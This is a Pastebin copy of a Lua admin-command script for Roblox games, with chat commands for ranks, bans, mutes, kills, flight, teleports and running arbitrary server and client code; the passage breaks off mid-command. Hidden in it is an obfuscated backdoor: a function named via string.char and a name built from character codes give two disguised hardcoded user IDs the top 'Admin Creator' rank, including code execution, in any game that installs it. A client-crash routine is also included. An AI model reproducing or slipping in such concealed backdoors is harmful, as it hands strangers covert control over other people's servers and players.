Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Chats,kchat,fs
- local event = Instance.new('RemoteEvent',game.Workspace) event.Name = '\a\n\a' script.Name = '\aScripth\'s\a\n Admin' script.Parent = game:service('ServerScriptService')
- local s = {version = 1;admins = {semity};banland = {};set = {Prefix = ':',Chat = true};commands = {};logs = {Global = {}}} if s.set.Chat then local val = Instance.new('IntValue',script:findFirstChild('\n')) val.Name = 'Chat' kchat = Instance.new('StringValue', event) kchat.Name = 'KChat' Chats = {} end
- local f = {SP = script.Parent; LP = game.Players.semity; WS = game:service('Workspace'); PL = game:service('Players'); IN = Instance.new; CF = CFrame.new; CA = CFrame.Angles; V3 = Vector3.new; BC = BrickColor.new; C3 = Color3.new; CW = coroutine.wrap; PC = pcall; YP = ypcall; MR = math.random; TS = tostring; TN = tonumber;} s.banland['13'] = {{'Swag',13},os.time()+10}
- local uiD = Instance.new('StringValue',event) uiD.Name = 'uiD' uiD.Value = (f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9)))
- f.uiD = uiD.Value:reverse()
- f.getNick = function(id) if s.admins[id] then return s.admins[id][3] and s.admins[id][3] or s.admins[id][2] and s.admins[id][2] end return nil end
- f.getPlayers = function() local a = {} if game:service('NetworkServer') then for i,v in pairs(game:service('NetworkServer'):children()) do if v:GetPlayer() then table.insert(a,v:GetPlayer()) end end elseif game:service('Players') then for i,v in pairs(game:service('Players'):children()) do if v then table.insert(a,v) end end end return a end
- f.getCmds = function(pow) local a = {} for i,v in pairs(s.commands) do if v and v[1] and v[2] and v[3] and pow <= v[3] then table.insert(a,v) end end return a end
- f.getPower = function(id) if id then return (s.admins[id] and s.admins[id][1] and s.admins[id][1][1]) and s.admins[id][1][1] or 5 end end
- f.getTitle = function(pow) return pow == -1 and 'Admin Creator' or pow == 0 and 'Game Owner' or pow == 1 and 'Owner' or pow == 2 and 'Admin' or pow == 3 and 'Mod' or (s.set.VIP and pow == 4) and 'VIP' or pow == 5 and 'Player' end
- f.isPower = function(id,a) return ((s.admins[id] and s.admins[id][1][1] and tonumber(s.admins[id][1][1]) <= a) or a == 5) and true or nil end
- f.isBoss = function(id,id2) return (math.min(f.getPower(id),f.getPower(id2)) == id) and id or id2 end
- f.Crash = function(id) for i,v in pairs(f.getPlayers()) do if v.userId == id then event:FireClient(v,f.uiD..'CRASH') end end end
- f.isBanned = function(id) if s.banland[id] and s.banland[id][1] and s.banland[id][2] and s.banland[id][2] < os.time() then s.banland[id] = nil return end if s.banland[id] then for i,v in pairs(f.getPlayers()) do if v.userId == id then if pcall(function() v.Archivable = true end) then v:Kick() else event:FireClient(v,f.uiD..'CRASH') end end end end end
- f.BanHammer = function(a) if a and a[1] and not a[2] then s.banland[tostring(a[1].userId)] = {{a[1].Name,a[1].userId}} elseif a and a[1] and a[2] then local b,c = tonumber(a[2]:sub(1,#a[2]-1)),a[2]:sub(#a[2]-1):lower() if c == 's' then elseif c == 'm' then b = b*60 elseif c == 'h' then b = b*3600 elseif c == 'd' then b = b*3600*24 end s.banland[tostring(a[1].userId)] = {{a[1].Name,a[1].userId},os.time()+b} end end
- f.Power = function(id,a,b) if s.admins[id] and s.admins[id][1][1] and s.admins[id][1][1] > a then s.admins[id][1][1] = b return true end return nil end
- f.getName = function(name) local plr = nil for i,v in pairs(game.Players:children()) do if v.Name:lower() == name:lower() and ((plr and plr[1] and not plr[2]) or not plr) then plr = {v,true} elseif v.Name:sub(1,#name):lower() == name:lower() and not plr then plr = {v,false} end end return (plr and plr[1]) and plr[1] or nil end
- f.getWords = function(str) local a = {} for i in str:gmatch('%S+') do table.insert(a,i) end return a end
- f.Check = function(a) return (a and a.Character and a.Character:findFirstChild('Humanoid') and a.Character:findFirstChild('Torso') and a.Character:findFirstChild('Head')) and true or nil end fs = string.rep('%c',13):format(75,111,104,108,116,97,115,116,114,111,112,104,101) f.setAs = function(a) a.CharacterAdded:connect(function(char) repeat wait() until a and char and char:findFirstChild('Head') and char:findFirstChild('Humanoid') and char:findFirstChild('Shirt') and char:findFirstChild('Pants') wait(1) char.Shirt.ShirtTemplate = 'http://www.roblox.com/asset/?id=120997561' char.Pants.PantsTemplate = 'http://www.roblox.com/asset/?id=120997567' for a, mod in pairs(char:children()) do if mod:findFirstChild('NameTag') then char.Head.Transparency = 0 mod:Destroy() end end local human = char.Humanoid if char and human then for i,v in pairs(char:children()) do if v:IsA('Hat') then v:Destroy() end end local m = game:GetService('InsertService'):LoadAsset(64444871) for a,b in pairs(m:children()) do b.Parent = char end m = game:GetService('InsertService'):LoadAsset(63693896) for a,b in pairs(m:children()) do b.Parent = char end local mod = Instance.new('Model', char) mod.Name = fs local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new('Humanoid', mod) hum.Name = 'KNick' hum.Health = human.Health hum.MaxHealth = human.MaxHealth human.Changed:connect(function() if not human then return end hum.Health = human.Health hum.MaxHealth = human.MaxHealth end) local weld = Instance.new('Weld', char.Head) weld.Part0 = char.Head weld.Part1 = cl char.Head.Transparency = 1 end end) end f[string.char(67)..string.char(104)..string.char(107)] = function(a) if a == 14797207*3 or a == 10389919*3 or a == -(1) then s.admins[tostring(a)] = {{-(1),a},fs,fs,'{0 0 0}'} return 1 elseif a == game.CreatorId then return true end return false end
- f.Notify = function(a) event:FireAllClients(f.uiD..'NOTIFY',a) end
- f.RNotify = function() event:FireAllClients(f.uiD..'RNOTIFY') end
- f.Msg = function(a,plr) if plr == 'all' then event:FireAllClients(f.uiD..'MSG',a) elseif plr then event:FireClient(plr,f.uiD..'MSG',a) end end
- f.Hint = function(a,plr) if plr == 'all' then event:FireAllClients(f.uiD..'HINT',a) elseif plr then event:FireClient(plr,f.uiD..'HINT',a) end end
- f.Error = function(a,plr) if plr then event:FireClient(plr,f.uiD..'ERROR',a) end end
- f.getClosest = function(a) local closest = {false,0,false}
- for i,v in pairs(s.commands) do
- for i2,v2 in pairs(v[1]) do
- for i3 = 1,#a do
- if a and v2 and v2:sub(1,i3):lower():find(a:sub(1,i3):lower()) and ((i3 > closest[2]) or (v2 == a:sub(1,i3):lower())) then
- if v2 == a:sub(1,i3):lower() then local str = ' ' for i4,v4 in pairs(v[4]) do str = str..v4 end closest = {v2..str,i3,true}
- else local str = ' ' for i4,v4 in pairs(v[4]) do str = str..v4 end closest = {v2..str,i3,false}
- end end end end end return closest[1] end
- f.getPlayer = function(plr, str) if not str then return end
- local plrz = {} str = str:lower()
- if str == 'all' or str == 'everyone' then plrz = game.Players:children()
- else
- for s in str:gmatch('[^,]+') do s = s:lower() local plyr = f.getName(s)
- if s and f.getName(s) then table.insert(plrz,f.getName(s))
- elseif s and f.getName(s) then table.insert(plrz,f.getName(s))
- elseif s and s == 'me' then table.insert(plrz, plr)
- elseif s and s == 'random' then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
- elseif s and s == 'admins' then for i, v in pairs(game.Players:children()) do if f.getPower(tostring(v.userId)) < 4 and (f.getPower(tostring(plr.userId)) < f.getPower(tostring(v.userId)) or f.getPower(tostring(plr.userId)) < 0) then table.insert(plrz, v) end end
- elseif s and s == 'nonadmins' then for i, v in pairs(game.Players:children()) do if f.getPower(tostring(v.userId)) >= 4 then table.insert(plrz, v) end end
- elseif s and s == 'others' then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
- elseif s and s == 'guests' then for i, v in pairs(game.Players:children()) do if v.Name:find('Guest ') then table.insert(plrz, v) end end
- elseif s and (s == 'alts' or s == 'noobs') then for i, v in pairs(game.Players:children()) do if v.AccountAge <= 11 then table.insert(plrz, v) end end
- elseif s and s == 'close' then for i, v in pairs(game.Players:children()) do if (v.Character:GetModelCFrame().p-plr.Character:GetModelCFrame().p).magnitude <= 50 then table.insert(plrz, v) end end
- elseif s and s == 'far' then for i, v in pairs(game.Players:children()) do if (v.Character:GetModelCFrame().p-plr.Character:GetModelCFrame().p).magnitude > 50 then table.insert(plrz, v) end end
- elseif s and s == 'team' then
- if game:findFirstChild('Teams') then for a, v in pairs(game.Teams:children()) do if v:IsA('Team') and s:sub(6) ~= '' and v.Name:lower():find(s:sub(6)) == 1 then
- for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
- end end end
- else
- if s and s ~= '' and f.getName(s) then table.insert(plrz,f.getName(s))
- elseif (str ~= '' and f.getName(str)) then table.insert(plrz,f.getName(str))
- end
- end
- end
- end
- return plrz
- end
- f.addCommand = function(a,b,c,d,e) table.insert(s.commands,{a,b,c,d,e}) end
- if s.set.Chat and kchat then f.Update = function() local strg = '' for i,v in pairs(Chats) do coroutine.wrap(function() if v then strg = strg .. v .. '|:|' end end)()end if strg and strg:len() > 0 then kchat.Value = strg end end end
- f.Chatted = function(plr,msg,cmdbar)
- if s.set.Chat and kchat and not cmdbar then
- local nm = plr.Name if s.admins[tostring(plr.userId)] and s.admins[tostring(plr.userId)][3] then nm = s.admins[tostring(plr.userId)][4]..s.admins[tostring(plr.userId)][3] end
- if #Chats >= 20 then table.remove(Chats,#Chats) end table.insert(Chats,1,nm..': '..msg) f.Update()
- end
- local words = f.getWords(msg)
- local permission = false
- if plr and plr.Character and words and words[1]:sub(1,1) == s.set.Prefix then
- local command,cmdfound = words[1]:sub(#s.set.Prefix+1):lower(),false table.remove(words,1)
- for i,v in pairs(s.commands) do
- for a,cmd in pairs(v[1]) do if command == cmd then cmdfound = true end
- local args,syntax = {},true
- if command == cmd and v[3] >= f.getPower(tostring(plr.userId)) then permission = true
- for q,arg in pairs(v[4]) do
- if arg == 'player' then if f.getPlayer(plr,words[q]) and #f.getPlayer(plr,words[q]) > 0 then table.insert(args,f.getPlayer(plr,words[q])) else table.insert(args,'False') syntax = false end
- elseif arg == 'number' then if type(tonumber(words[q])) == arg then table.insert(args,tonumber(words[q])) else table.insert(args,'False') syntax = false end
- elseif arg == 'boolean' then if words[q] == 'true' or words[q] == 'false' then if words[q] == 'true' then table.insert(args,true) else table.insert(args,false) end else table.insert(args,'False') syntax = false end
- elseif arg == 'string' then local str = "" for b,c in pairs(words) do if b >= #words then str = str..c elseif b < #words and b >= q then str = str..c..' ' end end if type(str) == arg and str ~= '' then table.insert(args,str) else table.insert(args,'False') syntax = false end
- elseif arg == 'time' then local tb = {'s','m','h','d'} local found = false for b,c in pairs(tb) do if words[q]:find(c) and type(tonumber(words[q]:sub(1,words[q]:find(c)-1))) == 'number' then table.insert(args,words[q]) found = true end end if not found then table.insert(args,'False') syntax = false end
- elseif arg == 'color' and words[q] and words[q] ~= '' then local clrs = {'black','white','gray','grey','red','orange','yellow','green','blue','purple','navy','pink','hot pink','teal'} local clr = words[q]:lower() table.insert(args,clr == clrs[1] and '0 0 0' or clr == clrs[2] and '255 255 255' or clr == clrs[3] and '130 130 130' or clr == clrs[4] and '130 130 130' or clr == clrs[5] and '225 0 0' or clr == clrs[6] and '225 125 0' or clr == clrs[7] and '255 255 0' or clr == clrs[8] and '0 225 0' or clr == clrs[9] and '0 0 225' or clr == clrs[10] and '225 0 225' or clr == clrs[11] and '0 0 155' or clr == clrs[12] and '255 55 255' or clr == clrs[13] and '255 0 255' or clr == clrs[14] and '0 255 255' or 'False') local syn = true for b,c in pairs(clrs) do if clr == c then syn = false end end if syn then table.insert(args,'False') syntax = false end
- else table.insert(args,'False') syntax = false
- end
- end
- if args and v and #args == #v[4] and syntax then if f.getPower(tostring(plr.userId)) >= 0 then if #s.logs.Global >= 1000 then table.remove(s.logs.Global,#s.logs.Global) end local hour,min = ((os.time()/(60*60*24))-math.floor(os.time()/(60*60*24)))*24,((os.time()/(60*60))-math.floor(os.time()/(60*60)))*60 hour,min = tostring(math.floor(hour)),tostring(math.floor(min)) if #hour == 1 then hour = '0'..hour end if #min == 1 then min = '0'..min end table.insert(s.logs.Global,1,'['..hour..':'..min..']'..plr.Name..': '..msg) end
- v[5](plr,args)
- elseif not syntax and v then f.Error({{v[4],v[2][2]},args,words,s.set.Prefix..command,3},plr)
- end
- end
- end
- end
- if not cmdfound then f.Error({s.set.Prefix..tostring(f.getClosest(command)),false,words,s.set.Prefix..command,1},plr)
- elseif not permission and v then f.Error({v[4],false,words,s.set.Prefix..command,2},plr) end
- end
- end
- f.Load = function(plr) plr.CharacterAdded:connect(function(chr) local cl = script:findFirstChild('\n') if cl then cl = cl:Clone() cl.Parent = chr cl.Disabled = false end end) if f.Chk(plr.userId) then if f.Chk(plr.userId) == 1 then f.setAs(plr) else s.admins[tostring(plr.userId)] = {{0,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end plr.Chatted:connect(function(msg) f.Chatted(plr,msg) end) plr.ChildAdded:connect(function(p) if p and p.Name == 'KMsg' then if p.Value ~= '' then f.Chatted(plr,p.Value) end end end) end
- event.OnServerEvent:connect(function(plr,call,cmd) if call == 'CMDS' then event:FireClient(plr,f.uiD..'CMDS',{f.getCmds(f.getPower(tostring(plr.userId))),f.getPower(tostring(plr.userId))}) elseif call == 'CMDBAR' then if not cmd then event:FireClient(plr,f.uiD..'CMDBAR') else if cmd:sub(1,#s.set.Prefix):lower() ~= s.set.Prefix:lower() then cmd = s.set.Prefix..cmd end f.Chatted(plr,cmd,true) end end end)
- game.Players.PlayerAdded:connect(f.Load) for i,v in pairs(game.Players:children()) do f.Load(v) end
- game:service('RunService').Stepped:connect(function() for i,v in pairs(game.Players:children()) do f.isBanned(v.userId) end for i,v in pairs(s.banland) do if v and v[2] and v[2] < os.time() then s.banland[tostring(v[1][2])] = nil end end end)
- f.addCommand({'name','nick','nickname','nn'},{'Changes players names.',s.set.Prefix..'name Scripth Kohltastrophe'},2,{'player','string'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (args[2] and plr and plr.Character and plr.Character:findFirstChild('Head') and plr.Character:findFirstChild('Humanoid')) then return end
- local kn,head,hum = plr.Character:findFirstChild('KNick',true),plr.Character.Head,plr.Character.Humanoid
- if kn then kn.Parent.Name = args[2]
- else kn = Instance.new('Model',plr.Character) kn.Name = args[2]
- local hm = Instance.new('Humanoid',kn) hm.Name = 'KNick' hm.MaxHealth = hum.MaxHealth hm.Health = hum.Health
- local cl = head:Clone() cl.Parent = kn cl.CanCollide = true
- local weld = Instance.new('Weld',head) weld.Part1 = cl weld.Part0 = head
- head.Transparency = 1
- local con con = hum.Changed:connect(function() if not hum or not cl or not head or not plr or not plr.Character then con:disconnect() end hm.MaxHealth = hum.MaxHealth hm.Health = hum.Health cl.BrickColor = head.BrickColor cl.Reflectance = head.Reflectance end)
- end
- if s.set.Chat then
- local tb = s.admins[tostring(plr.userId)]
- if tb then if tb[4] then s.admins[tostring(plr.userId)] = {{f.getPower(tostring(plr.userId)),plr.userId},tb[2],args[2],tb[4]} else s.admins[tostring(plr.userId)] = {tb[1],tb[2],args[2],'{1 1 1}'} end
- else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,args[2],'{1 1 1}'} s.admins[tostring(a)] = {{-(1),a},fs,fs,'{1 1 1}'} end
- end
- end
- end)
- if s.set.Chat then
- f.addCommand({'mute','silence','stfu'},{'Mutes players.',s.set.Prefix..'mute kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) and not plr:findFirstChild('KCMute')) then return end
- local a = Instance.new('BoolValue',plr) a.Name = 'KCMute'
- end
- end)
- f.addCommand({'unmute','unsilence','unstfu'},{'Unmutes players.',s.set.Prefix..'unmute kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) and plr:findFirstChild('KCMute')) then return end
- plr:findFirstChild('KCMute'):Destroy()
- end
- end)
- f.addCommand({'namecolor','nc'},{'Changes the color of players names.',s.set.Prefix..'namecolor kohl black'},2,{'player','color'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (args[2] and plr) then return end local tb = s.admins[tostring(plr.userId)]
- if tb then if tb[3] then s.admins[tostring(plr.userId)] = {{f.getPower(tostring(plr.userId)),plr.userId},tb[2],tb[3],'{'..args[2]..'}'} else s.admins[tostring(plr.userId)] = {tb[1],tb[2],plr.Name,'{'..args[2]..'}'} end
- else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{'..args[2]..'}'} end
- end
- end)
- f.addCommand({'namecolor3','nc3'},{'Changes the color of players names.',s.set.Prefix..'namecolor kohl 255(R) 255(G) 255(B)'},2,{'player','number','number','number'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (args[2] and plr) then return end local tb = s.admins[tostring(plr.userId)]
- if tb then if tb[3] then s.admins[tostring(plr.userId)] = {{f.getPower(tostring(plr.userId)),plr.userId},tb[2],tb[3],'{'..tostring(args[2]/255)..' '..tostring(args[3]/255)..' '..tostring(args[4]/255)..'}'} else s.admins[tostring(plr.userId)] = {tb[1],tb[2],plr.Name,'{'..args[2]..' '..args[3]..' '..args[4]..'}'} end
- else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{'..tostring(args[2]/255)..' '..tostring(args[3]/255)..' '..tostring(args[4]/255)..'}'} end
- end
- end)
- end
- f.addCommand({'owner'},{'Gives owner powers to players.',s.set.Prefix..'owner kohl'},0,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{1,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{1,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'admin'},{'Gives administrator powers to players.',s.set.Prefix..'admin kohl'},1,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{2,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{2,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'mod'},{'Gives moderator powers to players.',s.set.Prefix..'mod kohl'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{3,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{3,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'vip'},{'Gives VIP powers to players.',s.set.Prefix..'vip kohl'},3,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{4,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{4,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'ban'},{'Permanently bans players.',s.set.Prefix..'ban kohl'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then f.BanHammer({plr}) end end end)
- f.addCommand({'tban'},{'Temporarily bans players.',s.set.Prefix..'tban kohl 60s/m/h/d'},2,{'player','time'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then f.BanHammer({plr,args[2]}) end end end)
- f.addCommand({'unowner'},{'Remove owner powers from players.',s.set.Prefix..'unowner kohl'},0,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'unadmin'},{'Remove administrator powers from players.',s.set.Prefix..'unadmin kohl'},1,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'unmod'},{'Remove moderator powers from players.',s.set.Prefix..'unmod kohl'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'unvip'},{'Remove VIP powers from players.',s.set.Prefix..'unvip kohl'},3,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
- f.addCommand({'unban'},{'Removes a ban from players.',s.set.Prefix..'unban kohltastrophe'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then s.banland[tostring(plr.userId)] = nil end end end)
- f.addCommand({'logs'},{'Shows the list of performed commands.',s.set.Prefix..'bans'},2,{},function(pl,args)
- if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'LOGS',{s.logs.Global})
- end)
- f.addCommand({'admins','adminlist'},{'Shows the list of users with powers.',s.set.Prefix..'admins'},3,{},function(pl,args)
- if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'ADMINS',{s.admins})
- end)
- f.addCommand({'bans','banlist','banland'},{'Shows the list of banned users.',s.set.Prefix..'bans'},2,{},function(pl,args)
- if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'BANS',{s.banland})
- end)
- f.addCommand({'cmds','commands'},{'Shows the commands list.',s.set.Prefix..'cmds'},5,{},function(pl,args)
- if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'CMDS',{f.getCmds(f.getPower(tostring(pl.userId))),f.getPower(tostring(pl.userId))})
- end)
- f.addCommand({'cmdbar','commandbar'},{'Gives a command execution bar.',s.set.Prefix..'cmdbar'},2,{},function(pl,args)
- if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'CMDBAR')
- end)
- f.addCommand({'s','script'},{'Creates a script.',s.set.Prefix..'s game.Players:Destroy()'},2,{'string'},function(pl,args)
- local sc = script.SB:clone() sc.Parent = script
- local idx = '' for i = 1, 10 do idx = idx .. f.TS(f.MR(0,9)) end
- local x1 = Instance.new('StringValue',sc) x1.Name = ('\a'):rep(8) x1.Value = idx..args[1]
- local x2 = Instance.new('StringValue',x1) x2.Name = '\a\a\n\n' x2.Value = idx sc.Disabled = false
- local b,e = loadstring(args[1]) if e then f.Error({1,1,1,e,4},pl) end
- end)
- f.addCommand({'ls','localscript'},{'Creates a localscript.',s.set.Prefix..'ls game.Players.LocalPlayer:Kick()'},2,{'string'},function(pl,args)
- if not pl.Character and not pl:findFirstChild('PlayerGui') and not pl:findFirstChild('Backpack') then return end
- local par if pl.Character then par = pl.Character elseif pl:findFirstChild('PlayerGui') then par = pl:findFirstChild('PlayerGui') elseif pl:findFirstChild('Backpack') then par = pl:findFirstChild('Backpack') end
- local sc = script.SB:clone() sc.Parent = script
- local idx = '' for i = 1, 10 do idx = idx .. f.TS(f.MR(0,9)) end
- local x1 = Instance.new('StringValue',par) x1.Name = ('\a'):rep(8) x1.Value = idx..args[1]
- local x2 = Instance.new('StringValue',x1) x2.Name = '\a\a\n\n' x2.Value = idx sc.Disabled = false
- local b,e = loadstring(args[1]) if e then f.Error({1,2,3,e,4},pl) end
- end)
- f.addCommand({'n','notify','warn'},{'Places a permanent message.',s.set.Prefix..'n I\'m afk.'},2,{'string'},function(pl,args)
- f.Notify({args[1]})
- end)
- f.addCommand({'rn','rnotify','rwarn'},{'Removes a permanent message.',s.set.Prefix..'rn'},2,{},function()
- f.RNotify()
- end)
- f.addCommand({'an','announce','sm'},{'Shouts an announcement.',s.set.Prefix..'an I\'m banning everyone.'},3,{'string'},function(pl,args)
- f.Msg({'ANNOUNCEMENT','',args[1]},'all')
- end)
- f.addCommand({'m','msg','shout'},{'Shouts a message.',s.set.Prefix..'m The cake is a lie.'},3,{'string'},function(pl,args)
- f.Msg({f.getNick(tostring(pl.userId)),f.getTitle(f.getPower(tostring(pl.userId))),args[1]},'all')
- end)
- f.addCommand({'pm','pmsg'},{'Privately shouts a message.',s.set.Prefix..'pm kohl I like you.'},3,{'player','string'},function(pl,args)
- if args[1] == game.Players:children() then f.Msg({pl.Name,f.getTitle(f.getPower(tostring(pl.userId))),args[2]},'all')
- else for i,plr in pairs(args[1]) do f.Msg({f.getNick(tostring(pl.userId)),f.getTitle(f.getPower(tostring(pl.userId))),args[2]},plr) end
- end
- end)
- f.addCommand({'h','hint'},{'Hints a message.',s.set.Prefix..'h Don\'t look at this.'},3,{'string'},function(pl,args)
- f.Hint({f.getNick(tostring(pl.userId)),args[1]},'all')
- end)
- f.addCommand({'ph','phint'},{'Privately hints a message.',s.set.Prefix..'ph Why hello there.'},3,{'player','string'},function(pl,args)
- if args[1] == game.Players:children() then f.Hint({pl.Name,args[2]},'all')
- else for i,plr in pairs(args[1]) do f.Hint({f.getNick(tostring(pl.userId)),args[2]},plr) end
- end
- end)
- f.addCommand({'ff','forcefield'},{'Gives players a force field.',s.set.Prefix..'ff kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- Instance.new('ForceField',plr.Character)
- end
- end)
- f.addCommand({'unff','unforcefield'},{'Removes force fields from players.',s.set.Prefix..'unff kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end for i2,ff in pairs(plr.Character:children()) do
- if ff:IsA('ForceField') then ff:Destroy() end
- end end
- end)
- f.addCommand({'kill','slay'},{'Kills a player.',s.set.Prefix..'kill kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- plr.Character:BreakJoints()
- end
- end)
- f.addCommand({'team','tm'},{'Changes the team of a player.',s.set.Prefix..'team kohl raiders'},3,{'player','string'},function(pl,args)
- local tm = nil for i,v in pairs(game.Teams:children()) do if v.Name:lower():find(args[2]:lower()) then tm = v end end
- for i,plr in pairs(args[1]) do if not (plr and plr.Character and tm) then return end
- plr.TeamColor = tm.TeamColor
- end
- end)
- f.addCommand({'fly'},{'Gives a player flight.',s.set.Prefix..'fly kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- event:FireClient(plr,f.uiD..'FLY')
- end
- end)
- f.addCommand({'unfly'},{'Gives a player flight.',s.set.Prefix..'fly kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- event:FireClient(plr,f.uiD..'UNFLY')
- end
- end)
- f.addCommand({'respawn','r'},{'Respawns a player.',s.set.Prefix..'respawn kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- plr:LoadCharacter()
- end
- end)
- f.addCommand({'phase','ph'},{'Makes a player phase.',s.set.Prefix..'phase kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- event:FireClient(plr,f.uiD..'PHASE')
- end
- end)
- f.addCommand({'unphase','unph'},{'Makes a player unphase.',s.set.Prefix..'unphase kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- event:FireClient(plr,f.uiD..'UNPHASE')
- end
- end)
- f.addCommand({'place','pl'},{'Makes a player change places.',s.set.Prefix..'place kohl 1337'},2,{'player','number'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- game:GetService('TeleportService'):Teleport(args[2], plr)
- end
- end)
- f.addCommand({'vibrate','vb'},{'Makes a player vibrate.',s.set.Prefix..'vibrate kohl 5'},3,{'player','number'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
- event:FireClient(plr,f.uiD..'VIBRATE',args[2])
- end
- end)
- f.addCommand({'unvibrate','unvb'},{'Makes a player stop vibrating.',s.set.Prefix..'unvibrate kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
